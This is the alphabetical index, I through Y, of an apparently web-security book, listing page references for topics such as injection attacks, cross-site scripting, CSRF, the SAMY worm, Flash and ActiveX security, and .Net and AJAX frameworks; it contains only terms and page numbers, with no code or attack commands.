
in cross-domain actions, 72–73, 82
and Same Origin Policy, 73
and Web pages, 73

IIS (Microsoft), 181
Images:

in cross-domain actions, 73
in Flash applications, 232, 233
HTML injection attacks using, 42–43
for SSL certificates, 140–141
storing, 73
XSS using, 101

img (HTML), 97
Injection attacks, 4–20

automated testing for, 18–19
buffer overflows, 16–17
case study, 55–66
choosing code for, 7–17
command, 10–12
directory traversal, 11–14
example, 4–6
and iSEC’s SecurityQA Toolbar, 18–19, 50–52
LDAP, 15–17
on MySpace, 55–66
and open-source programs, 8
performing, 4
prevention of, 8–12
SQL, 8–10
testing for, 18–19
XPath, 8, 10–11
XXE, 13–16

Inline frames, 82 (See also iFrames)
Input filtering, 99
Input validation, 123–124

ASP.Net, 123–124
bypassing, 123–124
countermeasure, 124
in Flash applications, 236

Instant messaging, 46
Instructions, 4
Integrated development environment (IDE), 190
Internal Server API (ISAPI), 132
Internet Control Message Protocol (ICMP), 97
Internet Explorer (IE) 7, 243–246

ActiveX controls in, 207–208, 219–222
ActiveX Opt-In feature, 219, 243–244
cab files in, 243
cross-domain protection in, 245

JavaScript in, 39
line breaks in, 55–56
MIME type mismatch in, 48
phishing filter in, 245–246
Protected Mode, 246
and SAMY worm, 50
security zones, 245
SSL protections in, 244
URL parsing in, 244–245

Interprocess communications (IPC), 198
IObjectSafety method, 205
IPC (interprocess communications), 198
ISAPI (Internal Server API), 132
iSEC Partners:

and cryptographic tokens, 86
SecureCookies tool, 174–176
SecurityQA Toolbar, 18–19, 50–52, 213–214
and URL enumeration, 95

IsValid property, 124

▼ ▼ JJ
Java (Sun Microsystems), 114

and ActiveX, 200
anti-DNS Pinning in, 241
and GWT, 190
user authentication with, 9
XPath injection in, 10

JavaScript:
ActionScript vs., 227
and AJAX, 84–85, 148–149
anti-DNS Pinning in, 241
on BeEF proxy, 91–94
and browser plug-ins, 52
bypass input filters, 99–103
in client-server proxy, 146
for cookie security model, 28
and cookies, 27
countermeasures for, 94
in cross-domain actions, 73–74
in cross-domain attacks, 84–85
cross-domain sourcing of, 84–85
Document Object Model, 24
downstream traffic, 148–149
e-mail attacks with, 84–85
encoding with, 50
Flash applications vs., 43
full, 148–149
as HTML, 47–49
in Internet Explorer, 39
malicious, 88–103, 111
port scanning, 96–99
and Same Origin Policy, 24
sourcing, 73–74
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and timestamps, 78
URL enumeration, 95–96
in Visual Basic, 39
and WSDL, 146
on XSS proxy, 89–91

JavaScript arrays:
and AJAX, 149, 151
downstream traffic, 149
upstream traffic, 151

JavaScript encoding, 50
JavaScript Object Notation (JSON):

and AJAX, 149, 151
downstream traffic, 149
and GWT, 183
upstream traffic, 151

JavaScript pop-ups, 37, 73
JAXP, 14
JIT (Just-in-Time) compilation, 115
jQuery, 187–188
JSON (see JavaScript Object Notation)
JS-Yammer (worm), 103
Just-in-Time (JIT) compilation, 115

▼ ▼ KK
Keyloggers, 92, 135
Kill bit, 207

▼ ▼ LL
Lackey, Zane, 95
LDAP (Lightweight Directory Access Protocol), 15
LDAP injection attacks, 15–17
LeBlanc, David C., 208
LibXML, 14
Lightweight Directory Access Protocol (LDAP), 15
Line breaks, 55–56
link (HTML), 97
Links (see Hyperlinks)
loadMovie():

Cross-Site Scripting with, 233–234
XSF with, 233–234

loadPolicy(), 227
Local machines, 17

▼ ▼ MM
machineKey, 128
Managed code, 114
Mandatory Integrity Controls (MIC), 246
Memory management, 17

MIC (Mandatory Integrity Controls), 246
Microsoft:

and ActiveX, 198, 222
on ASP.Net, 125
and IE 7, 243
and .Net framework, 114, 134
and SiteLock, 202–203
and URL parsers, 245
on Viewstate, 130

Microsoft Atlas (ASP.Net AJAX), 153
Microsoft Excel, 198
Microsoft IIS, 181
Microsoft Intermediate Language (MSIL), 115, 116
Microsoft SQL Server 2005, 120
Microsoft Word, 198, 205
Microsoft’s Developer Network (MSDN), 115, 127
MIME types:

and Flash, 31, 43
HTML injections with, 42–43, 48
in IE, 48

Mimicry, 46–47
Minded Security, 233
MoBB (“Month of Browser Bugs”), 217
Mobile applications, 41
Mono implementation, 114
“Month of Browser Bugs” (MoBB), 217
Moore, H. D., 217
Morris Worm, 103
Motion-Twin ActionScript Compiler (MTASC), 227
MSDN (see Microsoft’s Developer Network)
MSIL (see Microsoft Intermediate Language)
MTASC (Motion-Twin ActionScript Compiler), 227
MySpace, 50, 55

customization of, 55
HTML injection attack on, 55–66
injection attacks on, 55–66
and Samy, 55
and SAMY worm, 55–66, 104
security holes of, 107–109

▼ ▼ NN
NAT (Network Address Translation), 97
Native code, 114
.Net classes, 117
.Net Framework, 114–134

and ASP.Net, 123–126
attack on, 115–122
Common Language Runtime in, 114
Cross-Site Scripting, 123, 126–127
error pages, 131
reversal of, 115–116
SQL injection in, 120–122
system information, 131–132
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.Net Framework (cont.)
and Viewstate, 128–132
and web services attacks, 132–134
Xml attacks on, 116–119
XPath injection in, 119–120

.Net Reflector, 115, 116

.Net WinForms, 126
Network Address Translation (NAT), 97
New Graphic Site (virus), 110
Newline, XSS using, 102
Nimda (worm), 103
NoScript, 96, 141
NoScript plug-in (FireFox), 141

▼ ▼ OO
Object loading, 73
onClick (JavaScript), 40
onerror (Javascript), 97
onload (Javascript), 97
Open security policies, 225
Open-source programs, 8
Operating system (OS), 198
Origin, 22
OS (operating system), 198
Output encoding, 125–126
OWASP WebScarab, 156

▼ ▼ PP
Page validation (ASP.Net), 124
Page.Form property, 127
Page.ViewStateUserKey property, 130
Parameter(s):

in CSRF attacks, 78–79
predictable, 77
for web application attacks, 78

Parameter manipulation attacks, 159–164
on e-commerce sites, 159
header manipulation, 160
hidden field manipulation, 159–163
URL manipulation, 160

Parameterized queries, 121
ParameterName, 121
PASSWORD(), 5
path (cookie), 26
path property, 174
Payloads, 56, 78
Perl:

interpreter, 90
XPath injection in, 10

Per-session parameters, 77, 86
Per-user parameters, 77, 86
Petkov, Petko, 97
Phishing:

and Cross-Site Scripting, 45
and Internet Explorer, 245–246
and stock pumping, 135

PHP:
for portscans, 98
XPath injection in, 10

PHP Hypertext Preprocessor Language, 92
Php-hardening.net, 227
Phython, XPath injection in, 10
Ping scans, 97
PKI (public key infrastructure), 141
Policy files, 31, 32
Polish (prefix) notation, 15
Pop-ups (see JavaScript pop-ups)
Port scanning, 96–99

countermeasure for, 96–99
PHP for, 98

Portal applications, 106
POST method, 81 (See also HTTP POST)
Prefix (Polish) notation, 15
Prepared statements, 8
Private key files, 204
ProPolice, 17
Protected Mode, 246
Proxies, 178
Public key infrastructure (PKI), 141

▼ ▼ QQ
Queries, parameterized, 121
query (SQL), 5–6

▼ ▼ RR
Rager, Anton, 90
RangeValidator, 123
Really Simple Syndication (RSS), 13–14, 226–227
Redirected HTML injections, 33–41

finding, 37–41
in redirectors, 41

Redirectors, 80
Reflection attacks:

CSRF attacks, 79–80
on Flash applications, 225–226
HTML injection attacks, 33, 36
security policy, 225–227

RegularExpressionValidator, 123
Remote machines, 17
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RequiredFieldValidator, 123
Response.Write method, 127
Return address of a stack, 17
RFC 2109, 26
RFC 2616, 74, 81
RFC 3986, 244
RSS (see Really Simple Syndication)

▼ ▼ SS
Safe for initialization (SFI), 205–207

marking, 205
SFS conversion, 208–209
unmarking, 205–207

Safe for shopping (SFS), 205–207
marking, 205
SFI conversion, 208–209
unmarking, 205–207

SAJAX, 155, 185–186
exposures in, 185–186
installation of, 185
unintended method exposure, 186
XAJAX vs., 155

Same Origin Policy (same domain policy), 22–26, 72
broken, 25–26
and browser plug-ins, 52
and cookie security model, 28
and e-mail attacks, 25–26
exceptions to, 23–25
and HTML injection attacks, 24
and iFrames, 73
and JavaScript, 24
and SAMY worm, 56

Samy, 55
SAMY worm, 55–67, 107–110

and AJAX, 103
attack code for, 56–66
code snippets of, 56–61
and CSRF, 56
functions of, 61–66
and IE, 50
injection of, 55–57
original worm, 66–67
and Same Origin Policy, 56
supporting variables and functions of, 61–66
variables of, 61–66

San Security Wire, 231
Sasser (worm), 103
Script (see specific types, e.g.: JavaScript)
script (JavaScript), 84–85, 97
Script tags, 37

cross-domain, 73–74
XSS using, 101

SDK (Software Development Kit), 114

secure (cookie), 26
Secure flag, 173
Secure Sockets Layer (SSL), 140

and ActiveX, 202
and cookies, 28
logos, 140–141

SecureCookies tool, 174–176
SecureIE.ActiveX, 221–222
Security control:

browser plug-ins for, 52
cookies as, 26–27

Security policy stored attacks, 226–227
Security zones (IE), 245
SecurityQA Toolbar, 18

for ActiveX controls, 213–214
for character transformations, 99–101
for injection attacks, 18–19, 50–52
testing AJAX with, 106–107

SELECT (SQL), 5–6
SensitiveMethod, 182
Serialization security:

Dojo Toolkit for, 187
jQuery for, 187–188

Server frameworks, 178
Servers, unavailable, 117–118
servlet, 180
Session authentication, 79
Session identification, 166
Session Riding, 76 (See also Cross-site request 

forgery)
Session timeout, 76
SFI (see Safe for initialization)
SFS (see Safe for shopping)
Shell code, 17
Shmoocon, 90
Shopping carts, e-commerce, 159
Simple Object Access Protocol (SOAP):

and AJAX, 151–152
on-the-fly generation in, 146–147
upstream traffic, 151–152

SiteLock, 202–203
Site-specific items, 174
Slammer (worm), 103
SOAP (see Simple Object Access Protocol)
Social engineering, 45
Social networking sites, 50, 104
Socket (Flash), 30, 43, 224, 240
Software Development Kit (SDK), 114
SPI Dynamics, 97
Spyware, 243
SQL (Structured Query Language), 5–6

and ASP.Net, 122
error messages, 7
escaping in, 8
user authentication with, 5–6
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SQL injection attacks, 8–10, 120–122
example, 4–6
on .Net Framework, 120–122
prevention of, 8–10
SqlCommand for, 121
SqlParameter class, 121–122
use of, 5

SQL Server 2005 (Microsoft), 120
SqlCommand, 120, 121
SqlConnection, 120
SqlParameter, 121–122
SSL (see Secure Sockets Layer)
SSL certificates, 140–141
SSL Middle Person attack, 244
SSL protections, 244
SSLv2, 244
Stall0wn3d, 45
Stateless protocols, 26
Stock pumping, 135–138
Stored attacks:

CSRF attacks, 80
on Flash applications, 226–227
HTML injections, 33, 37–41

finding, 37–41
security policy, 226–227

StoredProcedure, 122
Structured Query Language (see under SQL)
Style tags, 102
Sun Microsystems, 114
SWFs:

automatically generated, 236
controller, 236
Cross-Site Scripting in, 236
decompiled, 228–229

System information (.Net), 131–132
System.security.loadPolicyFile(), 225
System.xml namespace, 116, 118

▼ ▼ TT
TCP port 80, 97
TCP socket, 224
Testing:

of ActiveX controls, 212–214, 219
for AJAX, malicious, 106–107
automated, 18–19, 50–52, 106–107, 213–214
for Cross-Site Scripting, 50–52
for injection attacks, 18–19

TextArea.htmlText, 232–233
TextField.htmlText, 232–233
Third-party scripts, 140
3DES (Triple DES), 129
Timestamps, 78–79

Time-to-live (TTL) value, 238
TinyURL, 47
Transport, of worms, 56
Triple DES (3DES), 129
Trust zones (IE), 202
TTL (time-to-live) value, 238

▼ ▼ UU
UAC (User Account Control), 246
UIPI (User Interface Privilege Isolation), 246
UIS (user ID), 159
Unintended exposure, 164–166

in AJAX, 164–166
countermeasure, 165

Unintended method exposure:
Direct Web Remoting, 179–180
Google Web Toolkit, 182–183
SAJAX, 186
XAJAX, 184–185

Unmarking scripts, 205–207
Upstream traffic, 150–152

custom serialization, 152
HTTP Form POST, 150–151
HTTP GET, 150
JavaScript arrays, 151
JSON, 151
SOAP, 151–152
XML, 152

URL:
encoding, 50
hidden, 192
parsing, 244–245
shortening, 47
in Web 2.0 migration, 192

URL Command Attack, 76 (See also Cross-site request 
forgery)

URL enumeration, 95–96
URL loading functions:

Cross-Site Scripting with, 233–234
XSF attacks with, 234–235

URL manipulation, 160
URL redirectors, 235
URLLoader class (Flash), 30, 224
URLRoot paths, 209
US-CERT, 236
User Account Control (UAC), 246
User authentication:

with cookies, 75
with Java, 9
with SQL, 5–6

User ID (UID), 159
User Interface Privilege Isolation (UIPI), 246
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User-supplied data, 49
UTF-7 encodings:

as base for XSS, 50
Cross-Site Scripting, 50
HTML injections with, 42
prevention of, 50

▼ ▼ VV
Validation, input, 123–124
VBScript, 27
VeriSign, 204
Viewstate, 128–132

countermeasures, 130
and CSRF, 130
decoding, 129
implementation of, 128–129

Visual Basic, 39
Visual Studio, 126

▼ ▼ WW
WCF (Windows Communication Foundation), 114
Web 1.0, 164, 198
Web application attacks (see specific types, e.g.:

Cross-domain scripting)
parameters, 78
using cookies, 79

Web applications:
hosting of, 140
interaction with, 4
risk for, 77
vulnerable, 76–77

Web browser security models, 22–32
cookies, 26–29
and Cross-Site Scripting, 22–32
Flash, 30–31
policy files, 31
Same Origin Policy, 22–26

Web defacement, 45
Web forms controls, 126–127
Web pages:

files for, 139
and iFrame, 73

Web services attacks, 132–134
Web Services Description Language (WSDL), 133, 

134, 146
Web 2.0 migration, 189–193

debug functionality, 191–192
exposures in, 191–193
full functionality of, 192–193

and hidden URLs, 192
and internal methods, 191
process for, 189–190

Web.Config, 134
WebDeveloper Add-On (FireFox), 160, 163–164
WebResource.axd, 153
WebScarab, 153, 156, 165, 168–173
WinDbg, 218, 219
Windows CE, 114
Windows Communication Foundation 

(WCF), 114
Windows .Net Framework, 114
Windows Presentation Foundation (WPF), 114
Windows Vista, 114
Windows Workflow Foundation (WWF), 114
Win732, 198
Word (see Microsoft)
World Wide Web, 72, 74
World Wide Web Consortium (W3C), 74
Worms, 56 (See also specific types, e.g.: 

SAMY worm)
WPF (Windows Presentation Foundation), 114
Writing Secure Code (book), 208
WSDL (see Web Services Description Language)
W3C (World Wide Web Consortium), 74
WWF (Windows Workflow Foundation), 114

▼ ▼ XX
XAJAX, 154–155, 183–185

installation of, 183
SAJAX vs., 155
unintended method exposure, 184–185

Xerces, 14
XHR (see XMLHTTPRequest)
XML:

and AJAX, 148, 152
data stored in, 8
DOM from, 117–118
downstream traffic, 148
as Flash security policy, 224
parsing, 117–118
secure loading of, 118–119
upstream traffic, 152
and XPath, 8, 10
and XPath injection attacks, 8

XML (Flash), 30, 44, 224, 225
XML attacks, 116–119
XML Schema Definition (XSD), 116
XMLHTTPRequest (XHR), 84, 99, 103–106

and custom serialization, 150
e-mail attacks with, 104
and GET method, 104
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XPath injection attacks, 8, 10–11
in C#, 10
escaping mismatch, 120
in Java, 10
in PHP, 10
in Phython, 10
prevention of, 10–11
in shell-based CGI, 10
and XML, 8, 10

XPath injections, 119–120
xp_cmdshell parameters, 122
XQuery, 10
XSD (XML Schema Definition), 116
XSF (Cross Site Flashing), 235

in Flash applications, 234–235
with loadMovie(), 233–234

XSF attacks, 234–235
with URL loading functions, 234–235
URL redirectors for, 235

XSLT (Extensible Stylesheet Language 
Transformations), 116

XSS (see Cross-site scripting)
XSS worms, 46–47 (See also specific types, e.g.:

SAMY worm)
XSS-proxy, 90–91
XXE (eXternal entity) injection attacks, 13–16

and JAXP, 14
prevention of, 14–16

▼ ▼ YY
Yahoo! Mail, 103, 110
Yamanner (worm), 103
Yammer virus, 110
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